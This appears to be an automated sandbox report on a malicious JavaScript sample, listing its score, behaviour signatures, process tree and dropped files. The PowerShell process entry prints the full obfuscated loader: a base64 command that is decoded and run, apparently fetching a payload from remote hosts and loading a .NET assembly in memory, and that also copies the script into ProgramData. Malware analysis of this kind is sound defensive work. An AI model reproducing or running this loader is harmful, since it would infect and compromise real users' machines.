Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 22:41

General

  • Target
    jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
  • Size 40KB
  • Sample260909-2mlbvsbl3s
  • SHA256 f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
    1⤵
      PID:440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdgdfhdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwAzAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAFoAVwBaAHMAWgBXAE4AMABhAFcAOQB1AE8AMwBCADEAWQBtAHgAcABZAHkAQgBqAGIARwBGAHoAYwB5AEIARQBiADIAMQBoAGEAVwA1AE0AYgAyAEYAawBaAFgASgA3AGMASABWAGkAYgBHAGwAagBJAEgATgAwAFkAWABSAHAAWQB5AEIAQgBjADMATgBsAGIAVwBKAHMAZQBTAEIATQBiADIARgBf#AFEAWABOAHoAWgBXADEAaQBiAEgAawBvAFkAbgBsADAAWgBWAHQAZABJAEcARQBwAGUAMwBKAGwAZABIAFYAeQBiAGkAQgBCAGMASABCAEUAYgAyADEAaABhAFcANAB1AFEAMwBWAHkAYwBtAFYAdQBkAEUAUgB2AGIAVwBGAHAAYgBpADUATQBiADIARgBf#AEsARwBFAHAATwAzADEAOQAnAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiADYANAApACkAKQANAAoAZgB1AG4AYwB0AGkAbwBuACAAZAAoACQAbAApAHsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAkAGwAIAAtAEMAbwB1AG4AdAAgACQAbAAuAEMAbwB1AG4AdAApAHwAJQB7AHQAcgB5AHsAcgBlAHQAdQByAG4AIAAkAHcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAXwApAH0AYwBhAHQAYwBoAHsAfQB9AH0ADQAKAGYAdQBuAGMAdABpAG8AbgAgAGkAKAAkAGEALAAkAHQALAAkAG0ALAAkAHAAPQBAACgAKQApAHsAJAB5AD0AWwBEAG8AbQBhAGkAbgBMAG8AYQBkAGUAcgBdADoAOgBMAG8AYQBkAEEAcwBzAGUAbQBiAGwAeQAoACQAYQApADsAJAByAD0AJAB5AC4ARwBlAHQAVAB5AHAAZQBzACgAKQB8AD8AewAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIAAtAGUAcQAgACQAdAB9ADsAJABuAD0AJAByAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0ALAAoAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEIAaQBuAGQAaQBuAGcARgBsAGEAZwBzAF0AJwBQAHUAYgBsAGkAYwAsAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApACkAOwAkAG8APQBpAGYAKAAhACQAbgAuAEkAcwBTAHQAYQB0AGkAYwApAHsAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHIAKQB9ADsAJABuAC4ASQBuAHYAbwBf#AGUAKAAkAG8ALAAkAHAAKQB9AA0ACgANAAoAJABf#AD0AQAAoACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAGUALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AcgBlAG0AYQBzAGQALQA2AGMANwAwADIALgBmAGkAcgBlAGIAYQBzAGUAcwB0AG8AcgBhAGcAZQAuAGEAcABwAC8AbwAvAHAAaQBjAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBf#AGUAbgA9ADAAMwA4ADAAYgA4ADkAZQAtADIANgA1AGQALQA0AGMAOQA3AC0AOAAzADAANAAtADUAMgBjADcANQBmADkAMQA0AGYAZQBhACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AYQB1ADcAMgBuAHUAeAB6AHYAMgAuAHUAZgBzAC4AcwBoAC8AZgAvADQATABoAFYANQBCADEAcwBEAEMAdwBJADQARQA2AGcAbwBaADEAcwBEAEMAdwBJAHIAeQA4AHEAVABFAHQAaABf#AGUAQQB2AG4AaQBGAGMAeABSADkAUQBhAFcAegBVACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAQgBBAFMAJwAgACsAIAAnAEUANgA0AF8AUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwAgACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACAAQAAoACcAdAB4AHQALgBhAFMAaQBkAEYAZABtAC8AbgBpAGEAbQAvAHMAZABhAGUAaAAvAHMAZgBlAHIALwBmAHMAZQB0AC8AZQAyADIAbQBlAGUAZABhAG4ALwBtAG8AYwAuAHQAbgBlAHQAbgBvAGMAcgBlAHMAdQBiAHUAaAB0AGkAZwAuAHcAYQByAC8ALwA6AHMAJwAsACAAJwAzACcALAAgACcAZQByAHQAJwAsACAAJwBNAHMAYgB1AGkAbABkACcALAAgACcAMAAnACAALAAgACcAeAA2ADQAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdgdfhdjhsdfgdgo.replace('f#','r')));iex $OWjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js' -Destination 'C:\ProgramData\ert.js' -Force"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8652.tmp" "c:\Users\Admin\AppData\Local\Temp\04vpiyhe\CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP"
          3⤵
            PID:5052

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            04vpiyhe.dll

            • Path C:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.dll
            • Size 3KB
            • SHA256 7de661507d91d6312bf8a0451041693c07b8d4b56e769d7a12e6a31715b32c33
            • MD5 SHA1 SHA512 TLSH

            RES8652.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES8652.tmp
            • Size 1KB
            • SHA256 ebe0af3ead5d1efb7501d353a668eeb12b57d212daf197094ab409ad17229ae0
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_p0efzx2b.byv.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0efzx2b.byv.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            04vpiyhe.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.0.cs
            • Size 153B
            • SHA256 96cd128f981271bf1086c767b1d809a55b680fd10f4c959aaedca91240dbb634
            • MD5 SHA1 SHA512 TLSH

            04vpiyhe.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.cmdline
            • Size 369B
            • SHA256 9efb06871ad23003ccb22be0bb4dc4ef89394dbf609e84a176c2dc067613004c
            • MD5 SHA1 SHA512 TLSH

            CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP
            • Size 652B
            • SHA256 84acf565bc081a74f04634d90d0e7c1d1e5bcb206d54fc29e7d1c5adbedded73
            • MD5 SHA1 SHA512 TLSH

            memory/3320-1-0x0000020A9F560000-0x0000020A9F570000-memory.dmp

            memory/3320-0-0x0000020A9F560000-0x0000020A9F570000-memory.dmp

            memory/3320-9-0x0000020A9F4E0000-0x0000020A9F502000-memory.dmp

            memory/3320-22-0x0000020A9F4D0000-0x0000020A9F4D8000-memory.dmp